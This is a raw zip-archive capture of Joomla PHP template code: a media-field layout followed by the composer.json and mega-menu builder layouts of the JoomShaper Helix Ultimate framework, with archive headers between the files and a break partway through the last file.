$attr .= !empty($class) ? ' class="form-control field-media-input ' . $class . '"' : ' class="form-control field-media-input"';
$attr .= !empty($size) ? ' size="' . $size . '"' : '';
$attr .= $dataAttribute;

// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange . '"' : '';

switch ($preview) {
	case 'no': // Deprecated parameter value
	case 'false':
	case 'none':
		$showPreview = false;
		break;
	case 'yes': // Deprecated parameter value
	case 'true':
	case 'show':
	case 'tooltip':
	default:
		$showPreview = true;
		break;
}

// Pre fill the contents of the popover
if ($showPreview)
{
	$cleanValue = MediaHelper::getCleanMediaFieldValue($value);

	if ($cleanValue && file_exists(JPATH_ROOT . '/' . $cleanValue))
	{
		$src = Uri::root() . $value;
	}
	else
	{
		$src = '';
	}

	$width = $previewWidth;
	$height = $previewHeight;
	$style = '';
	$style .= ($width > 0) ? 'max-width:' . $width . 'px;' : '';
	$style .= ($height > 0) ? 'max-height:' . $height . 'px;' : '';

	$imgattr = array(
		'id' => $id . '_preview',
		'class' => 'media-preview',
		'style' => $style,
	);

	$img = HTMLHelper::_('image', $src, Text::_('JLIB_FORM_MEDIA_PREVIEW_ALT'), $imgattr);

	$previewImg = '<div id="' . $id . '_preview_img">' . $img . '</div>';
	$previewImgEmpty = '<div id="' . $id . '_preview_empty"' . ($src ? ' class="hidden"' : '') . '>'
		. Text::_('JLIB_FORM_MEDIA_PREVIEW_EMPTY') . '</div>';

	$showPreview = 'static';
}

// The url for the modal
$url = ($readonly ? ''
	: ($link ?: 'index.php?option=com_media&view=media&tmpl=component&mediatypes=' . $mediaTypes
		. '&asset=' . $asset . '&author=' . $authorId)
	. '&fieldid={field-media-id}&path=' . $folder);

// Correctly route the url to ensure it's correctly using sef modes and subfolders
$url = Route::_($url);
$doc = Factory::getDocument();
$wam = $doc->getWebAssetManager();

$wam->useScript('webcomponent.media-select');

Text::script('JFIELD_MEDIA_LAZY_LABEL');
Text::script('JFIELD_MEDIA_ALT_LABEL');
Text::script('JFIELD_MEDIA_ALT_CHECK_LABEL');
Text::script('JFIELD_MEDIA_ALT_CHECK_DESC_LABEL');
Text::script('JFIELD_MEDIA_CLASS_LABEL');
Text::script('JFIELD_MEDIA_FIGURE_CLASS_LABEL');
Text::script('JFIELD_MEDIA_FIGURE_CAPTION_LABEL');
Text::script('JFIELD_MEDIA_LAZY_LABEL');
Text::script('JFIELD_MEDIA_SUMMARY_LABEL');
Text::script('JFIELD_MEDIA_EMBED_CHECK_DESC_LABEL');
Text::script('JFIELD_MEDIA_DOWNLOAD_CHECK_DESC_LABEL');
Text::script('JFIELD_MEDIA_DOWNLOAD_CHECK_LABEL');
Text::script('JFIELD_MEDIA_EMBED_CHECK_LABEL');
Text::script('JFIELD_MEDIA_WIDTH_LABEL');
Text::script('JFIELD_MEDIA_TITLE_LABEL');
Text::script('JFIELD_MEDIA_HEIGHT_LABEL');
Text::script('JFIELD_MEDIA_UNSUPPORTED');
Text::script('JFIELD_MEDIA_DOWNLOAD_FILE');
Text::script('JLIB_APPLICATION_ERROR_SERVER');
Text::script('JLIB_FORM_MEDIA_PREVIEW_EMPTY', true);

$modalHTML = HTMLHelper::_(
	'bootstrap.renderModal',
	'imageModal_' . $id,
	[
		'url'         => $url,
		'title'       => Text::_('JLIB_FORM_CHANGE_IMAGE'),
		'closeButton' => true,
		'height'      => '100%',
		'width'       => '100%',
		'modalWidth'  => '80',
		'bodyHeight'  => '60',
		'footer'      => '<button type="button" class="btn btn-success button-save-selected">' . Text::_('JSELECT') . '</button>'
			. '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">' . Text::_('JCANCEL') . '</button>',
	]
);

$wam->useStyle('webcomponent.field-media')
	->useScript('webcomponent.field-media');

if (count($doc->getScriptOptions('media-picker')) === 0) {
	$doc->addScriptOptions('media-picker', [
		'images'    => $imagesExt,
		'audios'    => $audiosExt,
		'videos'    => $videosExt,
		'documents' => $documentsExt,
	]);
}

?>
<joomla-field-media class="field-media-wrapper" type="image" <?php // @TODO add this attribute to the field in order to use it for all media types
																															?> base-path="<?php echo Uri::root(); ?>" root-folder="<?php echo ComponentHelper::getParams('com_media')->get('file_path', 'images'); ?>" url="<?php echo $url; ?>" modal-container=".modal" modal-width="100%" modal-height="400px" input=".field-media-input" button-select=".button-select" button-clear=".button-clear" button-save-selected=".button-save-selected" preview="static" preview-container=".field-media-preview" preview-width="<?php echo $previewWidth; ?>" preview-height="<?php echo $previewHeight; ?>" supported-extensions="<?php echo str_replace('"', '&quot;', json_encode(['images' => $imagesAllowedExt, 'audios' => $audiosAllowedExt, 'videos' => $videosAllowedExt, 'documents' => $documentsAllowedExt])); ?>">
	<?php echo $modalHTML; ?>
	<?php if ($showPreview) : ?>
		<div class="field-media-preview">
			<?php echo ' ' . $previewImgEmpty; ?>
			<?php echo ' ' . $previewImg; ?>
		</div>
	<?php endif; ?>
	<div class="input-group">
		<input type="text" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" readonly="readonly" <?php echo $attr; ?>>
		<?php if ($disabled != true) : ?>
			<button type="button" class="btn btn-success button-select"><?php echo Text::_('JLIB_FORM_BUTTON_SELECT'); ?></button>
			<button type="button" class="btn btn-danger button-clear"><span class="icon-times" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('JLIB_FORM_BUTTON_CLEAR'); ?></span></button>
		<?php endif; ?>
	</div>
</joomla-field-media>
PK!"Z\2pphelixultimate/composer.jsonnu&1i�{
	"name": "joomshaper/helixultimate",
	"description": "Joomla! template framework.",
	"type": "project",
	"license": "MIT",
	"authors": [
		{
			"name": "JoomShaper",
			"email": "support@joomshaper.com"
		}
	],
	"require": {
		"tedivm/jshrink": "~1.0",
		"scssphp/scssphp": "^1.6.0"
	},
	"autoload": {
		"psr-4": {
			"HelixUltimate\\Framework\\": "./src/"
		}
	}
}
PK!�����,helixultimate/layout/megaMenu/megaFields.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Core\Lib\FontawesomeIcons;
use Joomla\CMS\Language\Text;

/**
 * Fields definition for the mega menu fields.
 *
 * @since   2.0.0
 */
class MegaFields
{
    /**
     * Mega menu settings array.
     *
     * @var     object   The mega menu settings.
     * @since   2.0.0
     */
    private $settings = null;

    /**
     * Menu Item Id
     *
     * @var     int     $itemId     The menu item id.
     * @since   2.0.0
     */
    private $itemId = 0;

    /**
     * Constructor function for the class.
     *
     * @param   array   $settings   The mega menu settings array.
     *
     * @since   2.0.0
     */
    public function __construct($settings, $itemId)
    {
        $this->settings = $settings;
        $this->itemId = $itemId;
    }

    /**
     * Make font awesome options for the listing.
     *
     * @return  array   the options array.
     * @since   2.0.0
     */
    private function getFontOptions()
    {
        $fontawesome = new FontawesomeIcons;
        $icons = $fontawesome->getIcons();

        $options = [];

        /** Set an empty option for working the chosen deselect functionality. */
        $options[''] = '';

        foreach ($icons as $icon)
        {
            $iconName = preg_replace("@^fa[sbr]\s+fa-@", '', $icon);
            $iconName = array_map(function($name) {
                return ucfirst($name);
            }, explode('-', $iconName));
            $options[$icon] = implode(' ', $iconName);
        }

        return $options;
    }

    public function getSidebarFields()
    {
        return [
            'megamenu' => [
                'type' => 'checkbox',
                'title' => Text::_('HELIX_ULTIMATE_ENABLE_MEGA_MENU'),
                'menu-builder' => true,
                'data' => ['itemid' => $this->itemId],
                'value' => $this->settings->megamenu ?? '',
                'internal' => true,
            ],
            'width' => [
                'type' => 'unit',
                'title' => Text::_('HELIX_ULTIMATE_MEGA_MENU_WIDTH'),
                'menu-builder' => true,
                'data' => ['itemid' => $this->itemId],
                'value' => $this->settings->width ?? '600px',
                'internal' => true,
            ],
            'showtitle' => [
                'type' => 'checkbox',
                'title' => Text::_('HELIX_ULTIMATE_SHOW_MENU_TITLE'),
                'menu-builder' => true,
                'data' => ['itemid' => $this->itemId],
                'value' => $this->settings->showtitle ?? '0',
                'internal' => true,
            ],
            'menualign' => [
                'type' => 'select',
                'title' => Text::_('HELIX_ULTIMATE_MEGA_MENU_ALIGNMENT'),
                'menu-builder' => true,
                'data' => ['itemid' => $this->itemId],
                'options' => [
                    'left' 		=> Text::_('HELIX_ULTIMATE_GLOBAL_LEFT'),
                    'center' 	=> Text::_('HELIX_ULTIMATE_GLOBAL_CENTER'),
                    'right' 	=> Text::_('HELIX_ULTIMATE_GLOBAL_RIGHT'),
                    'full' 		=> Text::_('HELIX_ULTIMATE_GLOBAL_FULL'),
                ],
                'value' => $this->settings->menualign ?? 'left',
                'internal' => true,
            ],
            'faicon' => [
                'type' => 'select',
                'title' => Text::_('HELIX_ULTIMATE_MENU_ICON'),
                'menu-builder' => true,
                'options' => $this->getFontOptions(),
                'data' => ['itemid' => $this->itemId, 'husearch' => 1],
                'value' => $this->settings->faicon ?? '',
                'internal' => true,
            ],
            'dropdown' => [
                'type' => 'select',
                'title' => Text::_('HELIX_ULTIMATE_MENU_DROPDOWN_POSITION'),
                'menu-builder' => true,
                'data' => ['itemid' => $this->itemId],
                'options' => [
                    'left' => Text::_('HELIX_ULTIMATE_GLOBAL_LEFT'),
                    'right' => Text::_('HELIX_ULTIMATE_GLOBAL_RIGHT'),
                ],
                'value' => $this->settings->dropdown ?? 'right',
                'internal' => true,
            ],
            'customclass' => [
                'type' => 'text',
                'title' => Text::_('HELIX_ULTIMATE_MENU_EXTRA_CLASS'),
                'placeholder' => Text::_('HELIX_ULTIMATE_MENU_EXTRA_CLASS_PLACEHOLDER'),
                'menu-builder' => true,
                'data' => ['itemid' => $this->itemId],
                'value' => $this->settings->customclass ?? '',
                'internal' => true,
            ],
            'badge' => [
                'type' => 'text',
                'title' => Text::_('HELIX_ULTIMATE_MENU_BADGE_TEXT'),
                'placeholder' => Text::_('HELIX_ULTIMATE_MENU_BADGE_TEXT'),
                'menu-builder' => true,
                'data' => ['itemid' => $this->itemId],
                'value' => $this->settings->badge ?? '',
                'internal' => true,
            ],
            'badge_position' => [
                'type' => 'select',
                'title' => Text::_('HELIX_ULTIMATE_MENU_BADGE_POSITION'),
                'menu-builder' => true,
                'data' => ['itemid' => $this->itemId],
                'options' => [
                    'left' => Text::_('HELIX_ULTIMATE_GLOBAL_LEFT'),
                    'right' => Text::_('HELIX_ULTIMATE_GLOBAL_RIGHT'),
                ],
                'value' => $this->settings->badge_position ?? 'right',
                'internal' => true,
            ],
            'badge_bg_color' => [
                'type' => 'color',
                'title' => Text::_('HELIX_ULTIMATE_MENU_BADGE_BACKGROUND'),
                'menu-builder' => true,
                'data' => ['itemid' => $this->itemId],
                'value' => $this->settings->badge_bg_color ?? '',
                'internal' => true,
            ],
            'badge_text_color' => [
                'type' => 'color',
                'title' => Text::_('HELIX_ULTIMATE_MENU_BADGE_COLOR'),
                'menu-builder' => true,
                'data' => ['itemid' => $this->itemId],
                'value' => $this->settings->badge_text_color ?? '',
                'internal' => true,
            ]
        ];
    }
}PK!Ĩ�Trr&helixultimate/layout/megaMenu/cell.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Uri\Uri;

extract($displayData);

$badgeText = $cell->type === 'module' ? 'Module' : 'Menu';
?>

<div class="hu-megamenu-cell" data-rowid="<?php echo $rowId; ?>" data-columnid="<?php echo $columnId; ?>" data-cellid="<?php echo $cellId; ?>">
	<span><?php echo $builder->getTitle($cell); ?></span>
	<small class="hu-badge hu-badge-info hu-megamenu-badge"><?php echo $badgeText; ?></small>
	<button class="hu-btn hu-btn-link hu-megamenu-cell-remove">
		<span class="fas fa-times-circle" aria-hidden="true"></span>
	</button>
</div>PK!
�X�(helixultimate/layout/megaMenu/column.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Uri\Uri;

extract($displayData);

$cellLayout = new FileLayout('megaMenu.cell', HELIX_LAYOUT_PATH);
$cells = [];

if (!empty($column->items))
{
	$cells = $column->items;
}

?>

<div class="hu-megamenu-col col-<?php echo $column->colGrid; ?>" data-rowid="<?php echo $rowId; ?>" data-columnid="<?php echo $columnId; ?>">
	<div class="hu-megamenu-column-contents-wrapper">
		<div class="hu-megamenu-column-toolbar hu-megamenu-column-drag-handler">
			<svg xmlns="http://www.w3.org/2000/svg" width="15" height="8"><path fill-rule="evenodd" d="M1.5 3a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm0 5a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM9 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM7.5 8a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM15 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM13.5 8a1.5 1.5 0 100-3 1.5 1.5 0 000 3z" clip-rule="evenodd"></path></svg>
			<span>Column</span>
		</div>
		<div class="hu-megamenu-column-contents">
			<?php foreach ($cells as $key => $cell): ?>
				<?php 
					echo $cellLayout->render([
						'itemId' => $itemId,
						'builder' => $builder,
						'cell' => $cell,
						'rowId' => $rowId,
						'columnId' => $columnId,
						'cellId' => $key + 1
					]);
				?>
			<?php endforeach ?>
		</div>
		
		<div class="hu-megamenu-add-item-wrapper">
			<button class="hu-megamenu-add-new-item" title="Add Module">
				<span class="fas fa-plus-circle" aria-hidden="true"></span>
			</button>
			<ul class="hu-megamenu-cell-options" style="display: none;">
				<li><a href="#" class="hu-megamenu-cell-options-item" data-type="menu"><?php echo Text::_('Menu Item'); ?></a></li>
				<li><a href="#" class="hu-megamenu-cell-options-item" data-type="module"><?php echo Text::_('Module'); ?></a></li>
			</ul>
		</div>
	</div>
</div>
PK!��LL&helixultimate/layout/megaMenu/grid.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Helper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Uri\Uri;

extract($displayData);

$grid = [];

if (!empty($settings) && isset($settings->layout))
{
    $grid = $settings->layout;
}

/**
 * Get missing menu item and push them to the first row first column.
 *
 */
$missingItems = $builder->getMissingItems();

if (!empty($missingItems) && isset($grid[0]) && isset($grid[0]->attr[0]))
{
    $items = array_merge($grid[0]->attr[0]->items, $missingItems);
    $grid[0]->attr[0]->items = $items;
}

$rowLayout = new FileLayout('megaMenu.row', HELIX_LAYOUT_PATH);
$modules = Helper::getModules();

?>
<div class="hu-megamenu-grid">
    <div class="hu-megamenu-rows-container">
        <?php if (!empty($grid)): ?>
            <?php foreach ($grid as $key => $row): ?>
                <?php
                    echo $rowLayout->render([
                        'itemId' => $itemId,
                        'builder' => $builder,
                        'row' => $row,
                        'rowId' => $key + 1
                    ]);
                ?>
            <?php endforeach ?>
        <?php endif ?>
    </div>
    <div class="hu-megamenu-add-row">
        <a href="#" class="hu-btn hu-btn-primary">
            <span class="fas fa-plus-circle" aria-hidden="true"></span>
            <?php echo Text::_('HELIX_ULTIMATE_MEGAMENU_ADD_NEW_ROW'); ?>
        </a>
    </div>
    <div class="hu-megamenu-add-slots">
        <?php echo (new FileLayout('megaMenu.slots', HELIX_LAYOUT_PATH))->render(); ?>
    </div>
</div>PK!>�>znn'helixultimate/layout/megaMenu/slots.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

extract($displayData);

$grids = array(
	array(
		'grid' => '12',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="51" height="17" fill="none"><rect width="50.78" height="16.927" fill-opacity=".3" rx="2"/></svg>'
	),
	array(
		'grid' => '6+6',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="23.79" height="16.221" fill-opacity=".3" rx="2"/><rect width="23.79" height="16.221" fill-opacity=".7" rx="2"/><rect width="23.79" height="16.221" x="25.681" fill-opacity=".3" rx="2"/></svg>'
	),
	array(
		'grid' => '4+4+4',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="15.139" height="16.221" fill-opacity=".3" rx="2"/><rect width="15.139" height="16.221" x="17.302" fill-opacity=".3" rx="2"/><rect width="15.139" height="16.221" x="17.302" fill-opacity=".7" rx="2"/><rect width="15.139" height="16.221" x="34.605" fill-opacity=".3" rx="2"/></svg>'
	),
	array(
		'grid' => '3+3+3+3',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="51" height="17" fill="none"><rect width="10.814" height="16.221" fill-opacity=".3" rx="2"/><rect width="10.814" height="16.221" x="12.974" fill-opacity=".3" rx="2"/><rect width="10.814" height="16.221" x="12.974" fill-opacity=".7" rx="2"/><rect width="10.814" height="16.221" x="25.95" fill-opacity=".3" rx="2"/><rect width="11.354" height="16.221" x="38.929" fill-opacity=".3" rx="2"/><rect width="11.354" height="16.221" x="38.929" fill-opacity=".7" rx="2"/></svg>'
	),
	array(
		'grid' => '4+8',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="15.139" height="16.221" fill-opacity=".3" rx="2"/><rect width="33" height="16" x="17" fill-opacity=".3" rx="2"/><rect width="33" height="16" x="17" fill-opacity=".7" rx="2"/></svg>'
	),
	array(
		'grid' => '3+9',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="10.814" height="16.221" fill-opacity=".7" rx="2"/><rect width="37" height="16" x="13" fill-opacity=".3" rx="2"/></svg>'
	),
	array(
		'grid' => '3+6+3',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="10.543" height="16.221" fill-opacity=".3" rx="2"/><rect width="11.084" height="16.221" x="38.659" fill-opacity=".3" rx="2"/><rect width="23.79" height="16.221" x="12.704" fill-opacity=".7" rx="2"/></svg>'
	),
	array(
		'grid' => '2+6+4',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="51" height="17" fill="none"><rect width="6.488" height="16.221" x=".143" fill-opacity=".7" rx="2"/><rect width="23.79" height="16.221" x="9" fill-opacity=".3" rx="2"/><rect width="15.139" height="16.221" x="35" fill-opacity=".7" rx="2"/></svg>'
	),
	array(
		'grid' => '2+10',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="6.488" height="16.221" x=".143" fill-opacity=".3" rx="2"/><rect width="41" height="16" x="9" fill-opacity=".7" rx="2"/></svg>'
	),
	array(
		'grid' => '5+7',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="28.927" height="16.221" x="20.653" fill-opacity=".7" rx="2"/><rect width="18.654" height="16.221" fill-opacity=".3" rx="2"/></svg>'
	),
	array(
		'grid' => '2+3+7',
		'icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="50" height="17" fill="none"><rect width="6.488" height="16.221" x=".143" fill-opacity=".7" rx="2"/><rect width="10" height="16.221" x="8.7" fill-opacity=".3" rx="2"/><rect width="28.927" height="16.221" x="20.653" fill-opacity=".7" rx="2"/></svg>'
	)
);

?>
<div class="hu-megamenu-columns-layout">
	<div class="row">
		<?php foreach ($grids as $key => $grid): ?>
			<div class="col-3">
				<a href="#" class="hu-megamenu-column-layout" data-layout="<?php echo $grid['grid']; ?>">
					<div class="hu-megamenu-column-layout-preview">
						<?php echo $grid['icon']; ?>
					</div>
					<span class="hu-megamenu-column-layout-name"><?php echo $grid['grid']; ?></span>
				</a>
			</div>
		<?php endforeach ?>

		<div class="col-3">
			<a href="#" class="hu-megamenu-column-layout hu-megamenu-custom" data-layout="custom">
				<div class="hu-megamenu-column-layout-preview"><?php echo Text::_('HELIX_ULTIMATE_CUSTOM_LAYOUT_TEXT'); ?></div>
				<span class="hu-megamenu-column-layout-name hu-sr-only"><?php echo Text::_('HELIX_ULTIMATE_CUSTOM_LAYOUT_TEXT'); ?></span>
			</a>
		</div>
	</div>
	<div class="hu-megamenu-custom-layout">
		<label><?php echo Text::_('HELIX_ULTIMATE_CUSTOM_LAYOUT_LABEL'); ?></label>
		<div class="hu-d-flex hu-justify-content-between">
			<input type="text" class="hu-megamenu-custom-layout-field" value="6+3+3">
			<button class="hu-btn hu-btn-primary hu-megamenu-custom-layout-apply">
				<?php echo Text::_('HELIX_ULTIMATE_MEGAMENU_APPLY_TEXT'); ?>
			</button>
		</div>
	</div>
</div>
PK!S��#44%helixultimate/layout/megaMenu/row.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Uri\Uri;

extract($displayData);
$columns = [];

if (!empty($row) && isset($row->attr))
{
    $columns = $row->attr;
}

$columnLayout = new FileLayout('megaMenu.column', HELIX_LAYOUT_PATH);
$slotLayout = new FileLayout('megaMenu.slots', HELIX_LAYOUT_PATH);

?>

<div class="hu-megamenu-row-wrapper" data-rowid="<?php echo $rowId; ?>">
	<div class="hu-megamenu-row-toolbar">
		<div class="hu-megamenu-row-toolbar-left hu-megamenu-row-drag-handlers">
			<svg xmlns="http://www.w3.org/2000/svg" width="15" height="8"><path fill-rule="evenodd" d="M1.5 3a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm0 5a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM9 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM7.5 8a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM15 1.5a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM13.5 8a1.5 1.5 0 100-3 1.5 1.5 0 000 3z" clip-rule="evenodd"></path></svg>
			<span>Row</span>
		</div>
		<div class="hu-megamenu-row-toolbar-right">
			<a href="#" class="hu-megamenu-columns">
				<svg xmlns="http://www.w3.org/2000/svg" width="13" height="11"><path d="M.996 4.805h3.926c.662 0 1.002-.323 1.002-1.014V1.02C5.924.322 5.584 0 4.922 0H.996C.34 0 0 .322 0 1.02V3.79c0 .691.34 1.014.996 1.014zm6.932 0h3.926c.662 0 1.002-.323 1.002-1.014V1.02c0-.698-.34-1.02-1.002-1.02H7.928c-.657 0-.996.322-.996 1.02V3.79c0 .691.34 1.014.996 1.014zm-6.92-.65c-.252 0-.363-.112-.363-.376V1.02c0-.251.11-.369.363-.369H4.91c.252 0 .363.118.363.37v2.76c0 .263-.11.374-.363.374H1.008zm6.937 0c-.258 0-.369-.112-.369-.376V1.02c0-.251.112-.369.37-.369h3.896c.252 0 .363.118.363.37v2.76c0 .263-.111.374-.363.374H7.945zM.996 10.61h3.926c.662 0 1.002-.322 1.002-1.013V6.826c0-.691-.34-1.013-1.002-1.013H.996C.34 5.813 0 6.135 0 6.825v2.772c0 .691.34 1.013.996 1.013zm6.932 0h3.926c.662 0 1.002-.322 1.002-1.013V6.826c0-.691-.34-1.013-1.002-1.013H7.928c-.657 0-.996.322-.996 1.013v2.772c0 .691.34 1.013.996 1.013zm-6.92-.644c-.252 0-.363-.117-.363-.375v-2.76c0-.258.11-.375.363-.375H4.91c.252 0 .363.117.363.375v2.76c0 .258-.11.375-.363.375H1.008zm6.937 0c-.258 0-.369-.117-.369-.375v-2.76c0-.258.112-.375.37-.375h3.896c.252 0 .363.117.363.375v2.76c0 .258-.111.375-.363.375H7.945z"></path></svg>
			</a>
			<a href="#" class="hu-megamenu-remove-row">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="13"><path d="M9.592 11.648l.433-8.748h.844a.335.335 0 00.334-.34.335.335 0 00-.334-.34H8.098V1.3c0-.773-.545-1.3-1.389-1.3h-2.22c-.844 0-1.384.527-1.384 1.3v.92H.34a.348.348 0 00-.34.34c0 .188.158.34.34.34h.844l.433 8.748c.041.75.569 1.266 1.33 1.266h5.315c.756 0 1.295-.516 1.33-1.266zM3.826 1.336c0-.38.281-.662.71-.662h2.132c.422 0 .715.281.715.662v.885H3.826v-.885zm-.82 10.898a.68.68 0 01-.68-.662L1.893 2.9h7.412l-.416 8.672a.682.682 0 01-.686.662H3.006zm4.348-1.148c.158 0 .275-.123.28-.293l.188-6.404c.006-.17-.111-.305-.275-.305-.147 0-.27.135-.27.299l-.193 6.398c0 .17.111.305.27.305zm-3.499 0c.159 0 .276-.135.27-.305l-.193-6.398c0-.164-.13-.299-.276-.299-.158 0-.275.129-.27.305l.194 6.404c.006.17.117.293.275.293zm1.752 0c.153 0 .282-.135.282-.299V4.39c0-.17-.13-.305-.282-.305-.152 0-.28.135-.28.305v6.398c0 .164.128.299.28.299z"></path></svg>
			</a>

			<div class="hu-megamenu-row-slots">
				<?php echo $slotLayout->render(); ?>
			</div>
		</div>
	</div>
	<div class="row hu-megamenu-columns-container">
		<?php foreach ($columns as $key => $column): ?>
			<?php
				echo $columnLayout->render([
					'itemId' => $itemId,
					'builder' => $builder,
					'column' => $column,
					'rowId' => $rowId,
					'columnId' => $key + 1
				]);
			?>
		<?php endforeach ?>
	</div>
</div>PK!'@̿��)helixultimate/layout/megaMenu/modules.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Helper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Uri\Uri;

extract($displayData);

$modules = Helper::getModules($keyword);

?>

<?php if (!empty($modules)): ?>
	<div class="row">
		<?php foreach ($modules as $module): ?>
			<div class="col-4 hu-megamenu-column">
				<div class="hu-megamenu-module-item">
					<strong class="hu-megamenu-module-title"><?php echo $module->title; ?></strong>
					<p class="hu-megamenu-module-desc"><?php echo (strlen($module->desc) > 80 ? substr($module->desc, 0, 80) . '...' : $module->desc); ?></p>
					<button type="button" role="button" class="hu-btn hu-btn-default hu-megamenu-insert-module" data-module="<?php echo $module->id; ?>"><?php echo Text::_('HELIX_ULTIMATE_MODULE_INSERT'); ?></button>
				</div>
			</div>
		<?php endforeach ?>
	</div>
<?php else: ?>
	<div class="hu-megamenu-module-not-found">
		<h4><?php echo Text::_('Opps! Nothing Found.'); ?></h4>
	</div>
<?php endif ?>PK!�L�)helixultimate/layout/megaMenu/sidebar.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Uri\Uri;

extract($displayData);

$megaFields = new MegaFields($settings, $itemId);
$fields = $megaFields->getSidebarFields();
$item = $builder->getMenuItem();

?>

<div class="hu-megamenu-sidebar">
    <?php if ((int) $item->parent_id === 1): ?>
        <?php echo $builder->renderFieldElement('megamenu', $fields['megamenu']); ?>
    <?php endif ?>

    <div class="hu-megamenu-settings">
        <?php if ((int) $item->parent_id === 1): ?>
            <?php echo $builder->renderFieldElement('width', $fields['width']); ?>
        <?php endif ?>
    </div>

    <?php echo $builder->renderFieldElement('showtitle', $fields['showtitle']); ?>

    <div class="hu-d-flex hu-justify-content-between">
        <?php if ((int) $item->parent_id === 1): ?>
            <div class="hu-megamenu-alignment">
                <?php echo $builder->renderFieldElement('menualign', $fields['menualign']); ?>
            </div>
        <?php endif ?>

        <div class="hu-menuitem-dropdown-position">
            <?php echo $builder->renderFieldElement('dropdown', $fields['dropdown']); ?>
        </div>

        <?php echo $builder->renderFieldElement('faicon', $fields['faicon']); ?>
    </div>
    <?php echo $builder->renderFieldElement('customclass', $fields['customclass']); ?>
    <hr />
    <div class="hu-d-flex hu-justify-content-between">
        <?php echo $builder->renderFieldElement('badge', $fields['badge']); ?>
        <?php echo $builder->renderFieldElement('badge_position', $fields['badge_position']); ?>
    </div>
    <?php echo $builder->renderFieldElement('badge_bg_color', $fields['badge_bg_color']); ?>
    <?php echo $builder->renderFieldElement('badge_text_color', $fields['badge_text_color']); ?>
